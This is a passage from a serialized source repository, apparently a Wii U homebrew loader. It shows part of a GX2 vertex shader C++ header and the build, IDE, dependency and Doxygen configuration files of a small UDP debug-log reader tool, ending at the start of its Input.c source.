}\n\n    void addUniformVar(const GX2UniformVar & var)\n    {\n        if(!vertexShader)\n            return;\n\n        u32 idx = vertexShader->uniform_vars_count;\n\n        GX2UniformVar* newVar = (GX2UniformVar*) malloc((vertexShader->uniform_vars_count + 1) * sizeof(GX2UniformVar));\n        if(newVar)\n        {\n            if(vertexShader->uniform_vars_count > 0)\n            {\n                memcpy(newVar, vertexShader->uniform_var, vertexShader->uniform_vars_count * sizeof(GX2UniformVar));\n                free(vertexShader->uniform_var);\n            }\n            vertexShader->uniform_var = newVar;\n\n            memcpy(vertexShader->uniform_var + idx, &var, sizeof(GX2UniformVar));\n            vertexShader->uniform_var[idx].name = (char*) malloc(strlen(var.name) + 1);\n            strcpy((char*)vertexShader->uniform_var[idx].name, var.name);\n\n            vertexShader->uniform_vars_count++;\n        }\n    }\n\n    void addAttribVar(const GX2AttribVar & var)\n    {\n        if(!vertexShader)\n            return;\n\n        u32 idx = vertexShader->attribute_vars_count;\n\n        GX2AttribVar* newVar = (GX2AttribVar*) malloc((vertexShader->attribute_vars_count + 1) * sizeof(GX2AttribVar));\n        if(newVar)\n        {\n            if(vertexShader->attribute_vars_count > 0)\n            {\n                memcpy(newVar, vertexShader->attribute_var, vertexShader->attribute_vars_count * sizeof(GX2AttribVar));\n                free(vertexShader->attribute_var);\n            }\n            vertexShader->attribute_var = newVar;\n\n            memcpy(vertexShader->attribute_var + idx, &var, sizeof(GX2AttribVar));\n            vertexShader->attribute_var[idx].name = (char*) malloc(strlen(var.name) + 1);\n            strcpy((char*)vertexShader->attribute_var[idx].name, var.name);\n\n            vertexShader->attribute_vars_count++;\n        }\n    }\n\n    static inline void setAttributeBuffer(u32 bufferIdx, u32 bufferSize, u32 stride, const void * buffer) {\n        GX2SetAttribBuffer(bufferIdx, bufferSize, stride, buffer);\n    }\n\n    GX2VertexShader *getVertexShader() const {\n        return vertexShader;\n    }\n\n    void setShader(void) const {\n        GX2SetVertexShader(vertexShader);\n    }\n\n    GX2AttribStream * getAttributeBuffer(u32 idx = 0) const {\n        if(idx >= attributesCount) {\n            return NULL;\n        }\n        return &attributes[idx];\n    }\n    u32 getAttributesCount() const {\n        return attributesCount;\n    }\n\n    static void setUniformReg(u32 location, u32 size, const void * reg) {\n        GX2SetVertexUniformReg(location, size, reg);\n    }\nprotected:\n    u32 attributesCount;\n    GX2AttribStream *attributes;\n    GX2VertexShader *vertexShader;\n};\n\n#endif // VERTEX_SHADER_H\n"
  },
  {
    "path": "udp_debug_reader/Makefile",
    "content": "CC=gcc\nCFLAGS=-c -Wall\nLDFLAGS=\nSOURCES:= $(wildcard source/*.c) \nOBJ_FILES = $(patsubst source/%.c,obj/%.o,$(SOURCES))\nEXECUTABLE=UdpDebugReader\n\n$(EXECUTABLE): $(OBJ_FILES)\n\t$(CC) $(LDFLAGS) -o $@ $^\n\nobj/%.o: source/%.c\n\tmkdir obj; $(CC) $(CFLAGS) -c -o $@ $<\n"
  },
  {
    "path": "udp_debug_reader/UdpDebugReader.cbp",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?>\n<CodeBlocks_project_file>\n\t<FileVersion major=\"1\" minor=\"6\" />\n\t<Project>\n\t\t<Option title=\"UdpDebugReader\" />\n\t\t<Option pch_mode=\"2\" />\n\t\t<Option compiler=\"gcc\" />\n\t\t<Build>\n\t\t\t<Target title=\"Release\">\n\t\t\t\t<Option output=\"UdpDebugReader\" prefix_auto=\"1\" extension_auto=\"1\" />\n\t\t\t\t<Option object_output=\"obj/Release/\" />\n\t\t\t\t<Option type=\"1\" />\n\t\t\t\t<Option compiler=\"gcc\" />\n\t\t\t\t<Option projectLinkerOptionsRelation=\"0\" />\n\t\t\t\t<Compiler>\n\t\t\t\t\t<Add option=\"-O2\" />\n\t\t\t\t</Compiler>\n\t\t\t\t<Linker>\n\t\t\t\t\t<Add option=\"-s\" />\n\t\t\t\t</Linker>\n\t\t\t</Target>\n\t\t</Build>\n\t\t<Compiler>\n\t\t\t<Add option=\"-Wall\" />\n\t\t</Compiler>\n\t\t<Linker>\n\t\t\t<Add library=\"source/winsock/libwsock32.a\" />\n\t\t</Linker>\n\t\t<Unit filename=\"source/Input.c\">\n\t\t\t<Option compilerVar=\"CC\" />\n\t\t</Unit>\n\t\t<Unit filename=\"source/Input.h\" />\n\t\t<Unit filename=\"source/main.c\">\n\t\t\t<Option compilerVar=\"CC\" />\n\t\t</Unit>\n\t\t<Unit filename=\"source/network.c\">\n\t\t\t<Option compilerVar=\"CC\" />\n\t\t</Unit>\n\t\t<Unit filename=\"source/network.h\" />\n\t\t<Extensions>\n\t\t\t<code_completion />\n\t\t\t<envvars />\n\t\t\t<debugger />\n\t\t\t<lib_finder disable_auto=\"1\" />\n\t\t</Extensions>\n\t</Project>\n</CodeBlocks_project_file>\n"
  },
  {
    "path": "udp_debug_reader/UdpDebugReader.depend",
    "content": "# depslib dependency file v1.0\n1279792267 source:c:\\dokumente und einstellungen\\dima\\desktop\\UdpDebugReader\\source\\network.c\n\t<stdio.h>\n\t<sys/types.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t<conio.h>\n\t<conio.h>\n\t<fcntl.h>\n\t\"network.h\"\n\n1452177726 \"\n\n1279792340 source:c:\\dokumente und einstellungen\\dima\\desktop\\UdpDebugReader\\source\\main.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<unistd.h>\n\t\"network.h\"\n\n1279798227 source:/home/dima/Desktop/UdpDebugReader/source/main.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<unistd.h>\n\t\"Input.h\"\n\t\"network.h\"\n\n1279798084 /home/dima/Desktop/UdpDebugReader/source/network.h\n\t\"winsock/winsock.h\"\n\t<sys/types.h>\n\t<sys/socket.h>\n\t<netinet/in.h>\n\n1279798084 n.h>\n\n1279797916 source:/home/dima/Desktop/UdpDebugReader/source/network.c\n\t<stdio.h>\n\t<sys/types.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t<fcntl.h>\n\t\"network.h\"\n\n1279798221 /home/dima/Desktop/UdpDebugReader/source/Input.h\n\t<conio.h>\n\t<termios.h>\n\n1445718391 >\n\n1279798252 source:/home/dima/Desktop/UdpDebugReader/source/Input.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t\"Input.h\"\n\t<termios.h>\n\n1198764450 /home/dima/Desktop/UdpDebugReader/source/winsock/winsock.h\n\t<windows.h>\n\t<mswsock.h>\n\n1279798227 source:d:\\UdpDebugReader\\source\\main.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<unistd.h>\n\t\"Input.h\"\n\t\"network.h\"\n\n1279799401 d:\\UdpDebugReader\\source\\input.h\n\t<conio.h>\n\t<termios.h>\n\n1279799400 d:\\UdpDebugReader\\source\\network.h\n\t\"winsock/winsock.h\"\n\t<sys/types.h>\n\t<sys/socket.h>\n\t<netinet/in.h>\n\t<fcntl.h>\n\n1452177726 \n\n1198768050 d:\\UdpDebugReader\\source\\winsock\\winsock.h\n\t<windows.h>\n\t<mswsock.h>\n\n1279799399 source:d:\\UdpDebugReader\\source\\network.c\n\t<stdio.h>\n\t<sys/types.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"network.h\"\n\n1279798252 source:d:\\UdpDebugReader\\source\\input.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t\"Input.h\"\n\t<termios.h>\n\n1291665385 source:d:\\code\\windowstools\\UdpDebugReader\\source\\network.c\n\t<stdio.h>\n\t<sys/types.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"network.h\"\n\n1291665388 d:\\code\\windowstools\\UdpDebugReader\\source\\network.h\n\t\"winsock/winsock.h\"\n\t<sys/types.h>\n\t<sys/socket.h>\n\t<netinet/in.h>\n\t<fcntl.h>\n\n1198764450 d:\\code\\windowstools\\UdpDebugReader\\source\\winsock\\winsock.h\n\t<windows.h>\n\t<mswsock.h>\n\n1291665361 source:d:\\code\\windowstools\\UdpDebugReader\\source\\input.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t\"Input.h\"\n\t<termios.h>\n\n1291665378 d:\\code\\windowstools\\UdpDebugReader\\source\\input.h\n\t<conio.h>\n\t<termios.h>\n\n1293478462 source:d:\\code\\windowstools\\UdpDebugReader\\source\\main.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<unistd.h>\n\t\"Input.h\"\n\t\"network.h\"\n\n1325182250 source:/media/truecrypt1/code/LocalTrunk/Tools/UdpDebugReader/source/Input.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t\"Input.h\"\n\t<termios.h>\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t\"Input.h\"\n\t<termios.h>\n\n1325182250 /media/truecrypt1/code/LocalTrunk/Tools/UdpDebugReader/source/Input.h\n\t<conio.h>\n\t<termios.h>\n\t<conio.h>\n\t<termios.h>\n\n1334304767 source:/media/truecrypt1/code/LocalTrunk/Tools/UdpDebugReader/source/main.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<unistd.h>\n\t\"Input.h\"\n\t\"network.h\"\n\t<stdio.h>\n\t<stdlib.h>\n\t<unistd.h>\n\t\"Input.h\"\n\t\"network.h\"\n\n1334304019 /media/truecrypt1/code/LocalTrunk/Tools/UdpDebugReader/source/network.h\n\t\"winsock/winsock.h\"\n\t<sys/types.h>\n\t<sys/socket.h>\n\t<netinet/in.h>\n\t<fcntl.h>\n\t\"winsock/winsock.h\"\n\t<sys/types.h>\n\t<sys/socket.h>\n\t<netinet/in.h>\n\t<fcntl.h>\n\n1325182250 /media/truecrypt1/code/LocalTrunk/Tools/UdpDebugReader/source/winsock/winsock.h\n\t<windows.h>\n\t<mswsock.h>\n\t<windows.h>\n\t<mswsock.h>\n\n1334308770 source:/media/truecrypt1/code/LocalTrunk/Tools/UdpDebugReader/source/network.c\n\t<stdio.h>\n\t<sys/types.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"network.h\"\n\t<stdio.h>\n\t<sys/types.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"network.h\"\n\n1334910814 source:d:\\code\\localtrunk\\tools\\UdpDebugReader\\source\\main.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<unistd.h>\n\t\"Input.h\"\n\t\"network.h\"\n\n1334909941 d:\\code\\localtrunk\\tools\\UdpDebugReader\\source\\input.h\n\t<conio.h>\n\t<termios.h>\n\n1334910353 d:\\code\\localtrunk\\tools\\UdpDebugReader\\source\\network.h\n\t\"winsock/winsock.h\"\n\t<sys/types.h>\n\t<sys/socket.h>\n\t<netinet/in.h>\n\t<fcntl.h>\n\n1325182250 d:\\code\\localtrunk\\tools\\UdpDebugReader\\source\\winsock\\winsock.h\n\t<windows.h>\n\t<mswsock.h>\n\n1334910629 source:d:\\code\\localtrunk\\tools\\UdpDebugReader\\source\\network.c\n\t<stdio.h>\n\t<sys/types.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"network.h\"\n\n1334909938 source:d:\\code\\localtrunk\\tools\\UdpDebugReader\\source\\input.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t\"Input.h\"\n\t<termios.h>\n\n1334909938 source:/media/truecrypt1/test/UdpDebugReader/source/Input.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t\"Input.h\"\n\t<termios.h>\n\n1334909941 /media/truecrypt1/test/UdpDebugReader/source/Input.h\n\t<conio.h>\n\t<termios.h>\n\n1334910431 source:/media/truecrypt1/test/UdpDebugReader/source/main.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<unistd.h>\n\t\"Input.h\"\n\t\"network.h\"\n\n1334910353 /media/truecrypt1/test/UdpDebugReader/source/network.h\n\t\"winsock/winsock.h\"\n\t<sys/types.h>\n\t<sys/socket.h>\n\t<netinet/in.h>\n\t<fcntl.h>\n\n1325182250 /media/truecrypt1/test/UdpDebugReader/source/winsock/winsock.h\n\t<windows.h>\n\t<mswsock.h>\n\n1334910629 source:/media/truecrypt1/test/UdpDebugReader/source/network.c\n\t<stdio.h>\n\t<sys/types.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"network.h\"\n\n1445714791 source:d:\\code\\UdpDebugReader\\source\\input.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t\"Input.h\"\n\t<termios.h>\n\n1445714791 d:\\code\\UdpDebugReader\\source\\input.h\n\t<conio.h>\n\t<termios.h>\n\n1452177726 source:d:\\code\\UdpDebugReader\\source\\main.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<unistd.h>\n\t\"Input.h\"\n\t\"network.h\"\n\n1452177726 d:\\code\\UdpDebugReader\\source\\network.h\n\t\"winsock/winsock.h\"\n\t<sys/types.h>\n\t<sys/socket.h>\n\t<netinet/in.h>\n\t<fcntl.h>\n\n1445714791 d:\\code\\UdpDebugReader\\source\\winsock\\winsock.h\n\t<windows.h>\n\t<mswsock.h>\n\n1452177726 source:d:\\code\\UdpDebugReader\\source\\network.c\n\t<stdio.h>\n\t<sys/types.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"network.h\"\n\n1445714791 source:d:\\loadiine_code\\loadiine_gx2\\udpdebugreader\\source\\input.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t\"Input.h\"\n\t<termios.h>\n\n1445714791 d:\\loadiine_code\\loadiine_gx2\\udpdebugreader\\source\\input.h\n\t<conio.h>\n\t<termios.h>\n\n1455123313 source:d:\\loadiine_code\\loadiine_gx2\\udpdebugreader\\source\\network.c\n\t<stdio.h>\n\t<sys/types.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"network.h\"\n\n1452177726 d:\\loadiine_code\\loadiine_gx2\\udpdebugreader\\source\\network.h\n\t\"winsock/winsock.h\"\n\t<sys/types.h>\n\t<sys/socket.h>\n\t<netinet/in.h>\n\t<fcntl.h>\n\n1445714791 d:\\loadiine_code\\loadiine_gx2\\udpdebugreader\\source\\winsock\\winsock.h\n\t<windows.h>\n\t<mswsock.h>\n\n1455123353 source:d:\\loadiine_code\\loadiine_gx2\\udpdebugreader\\source\\main.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"Input.h\"\n\t\"network.h\"\n\n1445718391 source:/media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/Input.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t\"Input.h\"\n\t<termios.h>\n\n1445718391 /media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/Input.h\n\t<conio.h>\n\t<termios.h>\n\n1455123087 source:/media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/main.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"Input.h\"\n\t\"network.h\"\n\n1452177726 /media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/network.h\n\t\"winsock/winsock.h\"\n\t<sys/types.h>\n\t<sys/socket.h>\n\t<netinet/in.h>\n\t<fcntl.h>\n\n1445718391 /media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/winsock/winsock.h\n\t<windows.h>\n\t<mswsock.h>\n\n1452177726 source:/media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/network.c\n\t<stdio.h>\n\t<sys/types.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"network.h\"\n\n1445718391 source:/media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/Input.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t\"Input.h\"\n\t<termios.h>\n\n1445718391 /media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/Input.h\n\t<conio.h>\n\t<termios.h>\n\n1455123353 source:/media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/main.c\n\t<stdio.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"Input.h\"\n\t\"network.h\"\n\n1452177726 /media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/network.h\n\t\"winsock/winsock.h\"\n\t<sys/types.h>\n\t<sys/socket.h>\n\t<netinet/in.h>\n\t<fcntl.h>\n\n1445718391 /media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/winsock/winsock.h\n\t<windows.h>\n\t<mswsock.h>\n\n1455123550 source:/media/harddisk1/loadiine_code/loadiine_gx2/UdpDebugReader/source/network.c\n\t<stdio.h>\n\t<sys/types.h>\n\t<stdlib.h>\n\t<string.h>\n\t<unistd.h>\n\t\"network.h\"\n\n"
  },
  {
    "path": "udp_debug_reader/UdpDebugReader.layout",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?>\n<CodeBlocks_layout_file>\n\t<ActiveTarget name=\"Release\" />\n\t<File name=\"source\\Input.c\" open=\"1\" top=\"0\" tabpos=\"4\" split=\"0\" active=\"1\" splitpos=\"0\" zoom_1=\"0\" zoom_2=\"0\">\n\t\t<Cursor>\n\t\t\t<Cursor1 position=\"1719\" topLine=\"32\" />\n\t\t</Cursor>\n\t</File>\n\t<File name=\"source\\Input.h\" open=\"1\" top=\"0\" tabpos=\"5\" split=\"0\" active=\"1\" splitpos=\"0\" zoom_1=\"0\" zoom_2=\"0\">\n\t\t<Cursor>\n\t\t\t<Cursor1 position=\"0\" topLine=\"0\" />\n\t\t</Cursor>\n\t</File>\n\t<File name=\"source\\network.c\" open=\"1\" top=\"0\" tabpos=\"2\" split=\"0\" active=\"1\" splitpos=\"0\" zoom_1=\"0\" zoom_2=\"0\">\n\t\t<Cursor>\n\t\t\t<Cursor1 position=\"2010\" topLine=\"46\" />\n\t\t</Cursor>\n\t</File>\n\t<File name=\"source\\network.h\" open=\"1\" top=\"0\" tabpos=\"3\" split=\"0\" active=\"1\" splitpos=\"0\" zoom_1=\"0\" zoom_2=\"0\">\n\t\t<Cursor>\n\t\t\t<Cursor1 position=\"0\" topLine=\"0\" />\n\t\t</Cursor>\n\t</File>\n\t<File name=\"source\\main.c\" open=\"1\" top=\"1\" tabpos=\"1\" split=\"0\" active=\"1\" splitpos=\"0\" zoom_1=\"0\" zoom_2=\"0\">\n\t\t<Cursor>\n\t\t\t<Cursor1 position=\"765\" topLine=\"41\" />\n\t\t</Cursor>\n\t</File>\n</CodeBlocks_layout_file>\n"
  },
  {
    "path": "udp_debug_reader/doxygen/doxyfile",
    "content": "#******************************************************************************\n# Base configuration for doxygen, generated by DoxyBlocks.\n# You may change these defaults to suit your purposes.\n#******************************************************************************\n\n# Doxyfile 1.7.3\n\n#---------------------------------------------------------------------------\n# Project related configuration options\n#---------------------------------------------------------------------------\nDOXYFILE_ENCODING      = UTF-8\nPROJECT_NAME           = UdpDebugReader\nPROJECT_NUMBER         = \nPROJECT_BRIEF          =\nPROJECT_LOGO           =\nOUTPUT_DIRECTORY       =\nCREATE_SUBDIRS         = NO\nOUTPUT_LANGUAGE        = English\nBRIEF_MEMBER_DESC      = YES\nREPEAT_BRIEF           = YES\nABBREVIATE_BRIEF       =\nALWAYS_DETAILED_SEC    = NO\nINLINE_INHERITED_MEMB  = NO\nFULL_PATH_NAMES        = NO\nSTRIP_FROM_PATH        =\nSTRIP_FROM_INC_PATH    =\nSHORT_NAMES            = NO\nJAVADOC_AUTOBRIEF      = NO\nQT_AUTOBRIEF           = NO\nMULTILINE_CPP_IS_BRIEF = NO\nINHERIT_DOCS           = YES\nSEPARATE_MEMBER_PAGES  = NO\nTAB_SIZE               = 8\nALIASES                =\nOPTIMIZE_OUTPUT_FOR_C  = NO\nOPTIMIZE_OUTPUT_JAVA   = NO\nOPTIMIZE_FOR_FORTRAN   = NO\nOPTIMIZE_OUTPUT_VHDL   = NO\nEXTENSION_MAPPING      =\nBUILTIN_STL_SUPPORT    = NO\nCPP_CLI_SUPPORT        = NO\nSIP_SUPPORT            = NO\nIDL_PROPERTY_SUPPORT   = YES\nDISTRIBUTE_GROUP_DOC   = NO\nSUBGROUPING            = YES\nTYPEDEF_HIDES_STRUCT   = NO\nSYMBOL_CACHE_SIZE      = 0\n#---------------------------------------------------------------------------\n# Build related configuration options\n#---------------------------------------------------------------------------\nEXTRACT_ALL            = NO\nEXTRACT_PRIVATE        = NO\nEXTRACT_STATIC         = NO\nEXTRACT_LOCAL_CLASSES  = YES\nEXTRACT_LOCAL_METHODS  = NO\nEXTRACT_ANON_NSPACES   = NO\nHIDE_UNDOC_MEMBERS     = NO\nHIDE_UNDOC_CLASSES     = NO\nHIDE_FRIEND_COMPOUNDS  = NO\nHIDE_IN_BODY_DOCS      = NO\nINTERNAL_DOCS          = NO\nCASE_SENSE_NAMES       = NO\nHIDE_SCOPE_NAMES       = NO\nSHOW_INCLUDE_FILES     = YES\nFORCE_LOCAL_INCLUDES   = NO\nINLINE_INFO            = YES\nSORT_MEMBER_DOCS       = YES\nSORT_BRIEF_DOCS        = NO\nSORT_MEMBERS_CTORS_1ST = NO\nSORT_GROUP_NAMES       = NO\nSORT_BY_SCOPE_NAME     = NO\nSTRICT_PROTO_MATCHING  = NO\nGENERATE_TODOLIST      = YES\nGENERATE_TESTLIST      = YES\nGENERATE_BUGLIST       = YES\nGENERATE_DEPRECATEDLIST= YES\nENABLED_SECTIONS       =\nMAX_INITIALIZER_LINES  = 30\nSHOW_USED_FILES        = YES\nSHOW_DIRECTORIES       = NO\nSHOW_FILES             = YES\nSHOW_NAMESPACES        = YES\nFILE_VERSION_FILTER    =\nLAYOUT_FILE            =\n#---------------------------------------------------------------------------\n# configuration options related to warning and progress messages\n#---------------------------------------------------------------------------\nQUIET                  = NO\nWARNINGS               = YES\nWARN_IF_UNDOCUMENTED   = NO\nWARN_IF_DOC_ERROR      = YES\nWARN_NO_PARAMDOC       = YES\nWARN_FORMAT            = \"$file:$line: $text\"\nWARN_LOGFILE            = \"D:\\code\\UdpDebugReader\\doxygen\\doxygen.log\"\n#---------------------------------------------------------------------------\n# configuration options related to the input files\n#---------------------------------------------------------------------------\nINPUT                  = \\\n\t\"..\\source\\network.h\" \\\n\t\"..\\source\\Input.h\" \\\n\t\"..\\source\\Input.c\" \\\n\t\"..\\source\\main.c\" \\\n\t\"..\\source\\network.c\" \nINPUT_ENCODING         = UTF-8\nFILE_PATTERNS          =\nRECURSIVE              = NO\nEXCLUDE                =\nEXCLUDE_SYMLINKS       = NO\nEXCLUDE_PATTERNS       =\nEXCLUDE_SYMBOLS        =\nEXAMPLE_PATH           =\nEXAMPLE_PATTERNS       =\nEXAMPLE_RECURSIVE      = NO\nIMAGE_PATH             =\nINPUT_FILTER           =\nFILTER_PATTERNS        =\nFILTER_SOURCE_FILES    = NO\nFILTER_SOURCE_PATTERNS =\n#---------------------------------------------------------------------------\n# configuration options related to source browsing\n#---------------------------------------------------------------------------\nSOURCE_BROWSER         = NO\nINLINE_SOURCES         = NO\nSTRIP_CODE_COMMENTS    = YES\nREFERENCED_BY_RELATION = NO\nREFERENCES_RELATION    = NO\nREFERENCES_LINK_SOURCE = YES\nUSE_HTAGS              = NO\nVERBATIM_HEADERS       = YES\n#---------------------------------------------------------------------------\n# configuration options related to the alphabetical class index\n#---------------------------------------------------------------------------\nALPHABETICAL_INDEX     = YES\nCOLS_IN_ALPHA_INDEX    = 5\nIGNORE_PREFIX          =\n#---------------------------------------------------------------------------\n# configuration options related to the HTML output\n#---------------------------------------------------------------------------\nGENERATE_HTML          = YES\nHTML_OUTPUT            = html\nHTML_FILE_EXTENSION    = .html\nHTML_HEADER            =\nHTML_FOOTER            =\nHTML_STYLESHEET        =\nHTML_COLORSTYLE_HUE    = 220\nHTML_COLORSTYLE_SAT    = 100\nHTML_COLORSTYLE_GAMMA  = 80\nHTML_TIMESTAMP         = YES\nHTML_ALIGN_MEMBERS     = YES\nHTML_DYNAMIC_SECTIONS  = NO\nGENERATE_DOCSET        = NO\nDOCSET_FEEDNAME        = \"Doxygen generated docs\"\nDOCSET_BUNDLE_ID       = org.doxygen.Project\nDOCSET_PUBLISHER_ID    = org.doxygen.Publisher\nDOCSET_PUBLISHER_NAME  = Publisher\nGENERATE_HTMLHELP      = NO\nCHM_FILE               = \"../UdpDebugReader.chm\"\nHHC_LOCATION           =\nGENERATE_CHI           = NO\nCHM_INDEX_ENCODING     =\nBINARY_TOC             = NO\nTOC_EXPAND             = NO\nGENERATE_QHP           = NO\nQCH_FILE               =\nQHP_NAMESPACE          = org.doxygen.Project\nQHP_VIRTUAL_FOLDER     = doc\nQHP_CUST_FILTER_NAME   =\nQHP_CUST_FILTER_ATTRS  =\nQHP_SECT_FILTER_ATTRS  =\nQHG_LOCATION           =\nGENERATE_ECLIPSEHELP   = NO\nECLIPSE_DOC_ID         = org.doxygen.Project\nDISABLE_INDEX          = NO\nENUM_VALUES_PER_LINE   = 4\nGENERATE_TREEVIEW      = YES\nUSE_INLINE_TREES       = NO\nTREEVIEW_WIDTH         = 250\nEXT_LINKS_IN_WINDOW    = NO\nFORMULA_FONTSIZE       = 10\nFORMULA_TRANSPARENT    = YES\nUSE_MATHJAX            = NO\nMATHJAX_RELPATH        = http://www.mathjax.org/mathjax\nSEARCHENGINE           = YES\nSERVER_BASED_SEARCH    = NO\n#---------------------------------------------------------------------------\n# configuration options related to the LaTeX output\n#---------------------------------------------------------------------------\nGENERATE_LATEX         = NO\nLATEX_OUTPUT           = latex\nLATEX_CMD_NAME         = latex\nMAKEINDEX_CMD_NAME     = makeindex\nCOMPACT_LATEX          = NO\nPAPER_TYPE             = a4\nEXTRA_PACKAGES         =\nLATEX_HEADER           =\nPDF_HYPERLINKS         = YES\nUSE_PDFLATEX           = YES\nLATEX_BATCHMODE        = NO\nLATEX_HIDE_INDICES     = NO\nLATEX_SOURCE_CODE      = NO\n#---------------------------------------------------------------------------\n# configuration options related to the RTF output\n#---------------------------------------------------------------------------\nGENERATE_RTF           = NO\nRTF_OUTPUT             = rtf\nCOMPACT_RTF            = NO\nRTF_HYPERLINKS         = NO\nRTF_STYLESHEET_FILE    =\nRTF_EXTENSIONS_FILE    =\n#---------------------------------------------------------------------------\n# configuration options related to the man page output\n#---------------------------------------------------------------------------\nGENERATE_MAN           = NO\nMAN_OUTPUT             = man\nMAN_EXTENSION          = .3\nMAN_LINKS              = NO\n#---------------------------------------------------------------------------\n# configuration options related to the XML output\n#---------------------------------------------------------------------------\nGENERATE_XML           = NO\nXML_OUTPUT             = xml\nXML_SCHEMA             =\nXML_DTD                =\nXML_PROGRAMLISTING     = YES\n#---------------------------------------------------------------------------\n# configuration options for the AutoGen Definitions output\n#---------------------------------------------------------------------------\nGENERATE_AUTOGEN_DEF   = NO\n#---------------------------------------------------------------------------\n# configuration options related to the Perl module output\n#---------------------------------------------------------------------------\nGENERATE_PERLMOD       = NO\nPERLMOD_LATEX          = NO\nPERLMOD_PRETTY         = YES\nPERLMOD_MAKEVAR_PREFIX =\n#---------------------------------------------------------------------------\n# Configuration options related to the preprocessor\n#---------------------------------------------------------------------------\nENABLE_PREPROCESSING   = YES\nMACRO_EXPANSION        = YES\nEXPAND_ONLY_PREDEF     = YES\nSEARCH_INCLUDES        = YES\nINCLUDE_PATH           =\nINCLUDE_FILE_PATTERNS  =\nPREDEFINED             = WXUNUSED()=\nEXPAND_AS_DEFINED      =\nSKIP_FUNCTION_MACROS   = YES\n#---------------------------------------------------------------------------\n# Configuration::additions related to external references\n#---------------------------------------------------------------------------\nTAGFILES               =\nGENERATE_TAGFILE       =\nALLEXTERNALS           = NO\nEXTERNAL_GROUPS        = YES\nPERL_PATH              = /usr/bin/perl\n#---------------------------------------------------------------------------\n# Configuration options related to the dot tool\n#---------------------------------------------------------------------------\nCLASS_DIAGRAMS         = NO\nMSCGEN_PATH            =\nHIDE_UNDOC_RELATIONS   = YES\nHAVE_DOT               = NO\nDOT_NUM_THREADS        = 0\nDOT_FONTNAME           = Helvetica\nDOT_FONTSIZE           = 10\nDOT_FONTPATH           =\nCLASS_GRAPH            = YES\nCOLLABORATION_GRAPH    = YES\nGROUP_GRAPHS           = YES\nUML_LOOK               = NO\nTEMPLATE_RELATIONS     = NO\nINCLUDE_GRAPH          = YES\nINCLUDED_BY_GRAPH      = YES\nCALL_GRAPH             = YES\nCALLER_GRAPH           = NO\nGRAPHICAL_HIERARCHY    = YES\nDIRECTORY_GRAPH        = YES\nDOT_IMAGE_FORMAT       = png\nDOT_PATH               =\nDOTFILE_DIRS           =\nMSCFILE_DIRS           =\nDOT_GRAPH_MAX_NODES    = 50\nMAX_DOT_GRAPH_DEPTH    = 0\nDOT_TRANSPARENT        = NO\nDOT_MULTI_TARGETS      = NO\nGENERATE_LEGEND        = YES\nDOT_CLEANUP            = YES\n\n"
  },
  {
    "path": "udp_debug_reader/source/Input.c",
    "content": "/****************************************************************************\n * Copyright (C) 2010-2012\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n ***************************************************************************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"Input.h\"\n\nFILE * logFile = 